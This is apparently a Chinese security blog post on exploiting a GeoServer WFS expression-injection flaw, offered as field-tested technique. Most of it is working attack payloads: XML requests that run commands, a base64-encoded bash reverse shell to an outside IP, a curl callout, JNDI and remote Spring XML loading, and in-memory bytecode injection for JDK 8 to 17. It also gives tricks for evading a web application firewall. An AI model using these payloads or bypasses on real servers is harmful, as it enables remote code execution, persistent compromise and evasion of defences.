前提
实战遇到waf, 绕过去了,但是不解析,所以本地环境学习一下。
分析
Y4 大哥说了 允许调用public构造函数,和public static 的方法。构造函数后可以调用类下的public方法。
绕过
1 2 3 4 5 6 7 8 9
| <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> <wfs:valueReference> /+ex[(:suibianxie:)]ec
 	
 	(java.lang.Runtime.getRuntime
 	(),'curl http://10.23.24.80:8089/1')
 	 </wfs:valueReference> </wfs:GetPropertyValue>
|
简单来说就是 [] 之间 的东西替换为空,html实体化编码,****标签注释符,换行空格绕过
可惜实战waf绕过去了, [] 没替换掉,实战就是就是。( 表达式里好像只会把一个函数名的[]替换为空,多个函数插只把一个参数的[]替换为空了)
解码这样,说实
exp
有时候就检测关键字
可以换一下poc
1 2 3 4 5 6 7
| String loadLibrary = " load(java.lang.Runtime.getRuntime(),'/Users/snake/Downloads/poc1.dylib')"; String poc = "org.springframework.context.support.ClassPathXmlApplicationContext.new('http://127.0.0.1:8089/1')"; String sprl="getValue(parseExpression(org.springframework.expression.spel.standard.SpelExpressionParser.new(),'new java.lang.ProcessBuilder(\"bash\",\"-c\",\"{echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4yMy4yNC44MC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}\").start()'))"; String jndi = "javax.naming.ldap.InitialLdapContext.doLookup('ldap://127.0.0.1:80/Object')"; String xx="getValue(parseExpression(org.springframework.expression.spel.standard.SpelExpressionParser.new(),'new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"open .\").getInputStream()).next()'))"; JXPathContext context = JXPathContext.newContext(null); context.getValue(xx);
|
java.lang.System.load 加载dll, 改属性一样
改属性/加载dll,
要是jdk8 可以直接jndi得了
java.lang.System.load 本质调用的是Runtime下的load,所以可换。不要用loadLibrary,loadLibrary会从javalib包下找,传值咬加一堆../../,麻烦死了。
1
| String loadLibrary = " load(java.lang.Runtime.getRuntime(),'/Users/snake/Downloads/poc1.dylib')"
|
1
| java.lang.System.load('/Users/snake/Downloads/poc1.dylib')
|
springxmlbean
两个都想,还有几个也可以加载xml,但是参数不是单string, 就用这两个就好了。
1
| org.springframework.context.support.ClassPathXmlApplicationContext.new('http://127.0.0.1:8089/test.xml')
|
ProcessBuilder/exec
有些waf就单纯检查exec,换一下ProcessBuilder
springxmlbean,也可以加字节码,欢迎在 https://github.com/Java-Chains/web-chains 中尝试。
在就事不出网利用
调用js来加载字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> <wfs:valueReference> eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),' var str="base64code"; var bt; try { bt = org.geotools.util.Base64.decode(str); } catch (e) { bt = java.util.Base64.getDecoder().decode(str); } var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); unsafe = theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance(); ') </wfs:valueReference> </wfs:GetPropertyValue>
|
然后高版本jdk15+ 没defineAnonymousClass,没js怎么搞了
jdk17调用spel来加载字节码
Jdk17 要检测moudule,也没有defineAnonymousClass,直接用spel绕过最简单了,
1 2 3 4 5 6 7
| <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> <wfs:valueReference>getValue(parseExpression(org.springframework.expression.spel.standard.SpelExpressionParser.new(),'T(org.springframework.cglib.core.ReflectUtils).defineClass("org.springframework.expression.Testaac",T(java.util.Base64).getDecoder().decode("yv66vgAAADcBAwgAXwoAGQBgCgAvAGEKAC8AYgoAVgBjCABkCgAXAGUIAGYKABcAZwoAVwBoCgBXAGkIAGoIAGsIAGwIAG0KAG4AbwoAbgBwCgAZAHEKABcAcggAcwoAHgB0CAB1BwB2CgAXAHcHAHgKAHkAeggAewgAfAgAfQcAfgoALwB/CACABwCBCgAvAIIKACEAgwoAIQCECgAhAIUHAIYJAIcAiAgAiQoAigCLCgAmAIwIAI0KAIcAjggAjwoAHgCQBwCRCgAXAJIIAJMIAJQIAJUHAJYIAJcKADQAmAoANACZCACaCACbCACcCgAeAJ0IAJ4KAB4AnwgAoAgAoQgAoggAowoApAClCgCkAKYKAKcAqAcAqQoARQCqCACrCgBFAKwIAK0KAEUArgoARQCvEgAAALMKACYAtAEAEGdldFJlcUhlYWRlck5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAY8aW5pdD4BAAMoKVYBAANydW4BAA1TdGFja01hcFRhYmxlBwC1BwC2AQAGYnlwYXNzAQAEZXhlYwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7BwC3BwC4AQAKU291cmNlRmlsZQEADFRlc3RhYWMuamF2YQEAA2NtZAwAUgBTDABYAFMMAFQAUwwAuQC6AQAQamF2YS5sYW5nLlRocmVhZAwAuwC8AQAMdGhyZWFkTG9jYWxzDAC9AL4MAL8AwAwAwQDCAQAkamF2YS5sYW5nLlRocmVhZExvY2FsJFRocmVhZExvY2FsTWFwAQAFdGFibGUBACpqYXZhLmxhbmcuVGhyZWFkTG9jYWwkVGhyZWFkTG9jYWxNYXAkRW50cnkBAAV2YWx1ZQcAwwwAxADFDADBAMYMAMcAyAwAyQBPAQAnb3JnLmVjbGlwc2UuamV0dHkuc2VydmVyLkh0dHBDb25uZWN0aW9uDADKAMsBAA5nZXRIdHRwQ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AaQdCBwAmBAACAFkAWgABAFAAAAEcAAQACAAAAIoEPRI6uAAsTi3GABEttgA7Ejy2AD2ZAAUDPRyZABgGvQAeWQMSPlNZBBI/U1kFK1OnABUGvQAeWQMSQFNZBBJBU1kFK1M6BLgAQhkEtgBDtgBEOgW7AEVZGQW3AEYSR7YASDoGEkk6BxkGtgBKmQAUGQcZBrYAS7oATAAAOgen/+oZB7BNLLYATbAAAQAAAIMAhAAmAAIAUQAAADYADQAAAE4AAgBPAAgAUAAYAFEAGgBSAEcAUwBUAFQAZABVAGgAVgBwAFcAgQBYAIQAWQCFAFoAVQAAADwABv0AGgEHAB4YUQcAW/8AIgAIBwAvBwAeAQcAHgcAWwcAXAcARQcAHgAAGP8AAgACBwAvBwAeAAEHACYAAwBdAAAAAgBeAP4AAAAKAAEA/AEAAP0AGQCwAAAACAABALEAAQCy"),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName("org.springframework.expression.ExpressionParser")).newInstance()'))</wfs:valueReference> </wfs:GetPropertyValue>
|
需要注意,jdk17会检查moudle。在使用spel加载字节码的时候,它会检查类的名字,要是在一个包下,就可以完成绕过,所以在defineClass的时候,类名要在org.springframework.expression包下,生成的时候注意。用spring自带的ReflectUtils的defineClass进行类加载。
总结
低版本jdk,直接exec/ProcessBuilder, 或者jndi加载类,不行就先改系统属性在jndi。不出网就调用js使用unsafe.defineAnonymousClass打加载字节码(jdk15一下) ,jdk17以上使用spel表达式进行加载字节码。
绕过就是在每两个字符直接插 或者插入[anystr]符号,或者直接全部html编码,在函数()直接疯狂空格换行,
可以看到完全没毛病,最后插入**[anyString]** 只能好像替换一个为空,好像只能在一个参数名中插,多个函数名插回gg
下版本加入chains。
参考
https://github.com/Java-Chains/web-chains
https://tttang.com/archive/1771/
https://whoopsunix.com/docs/java/named%20module/
https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247510451&idx=1&sn=a8c582e83e35747d6fae99869fb987ec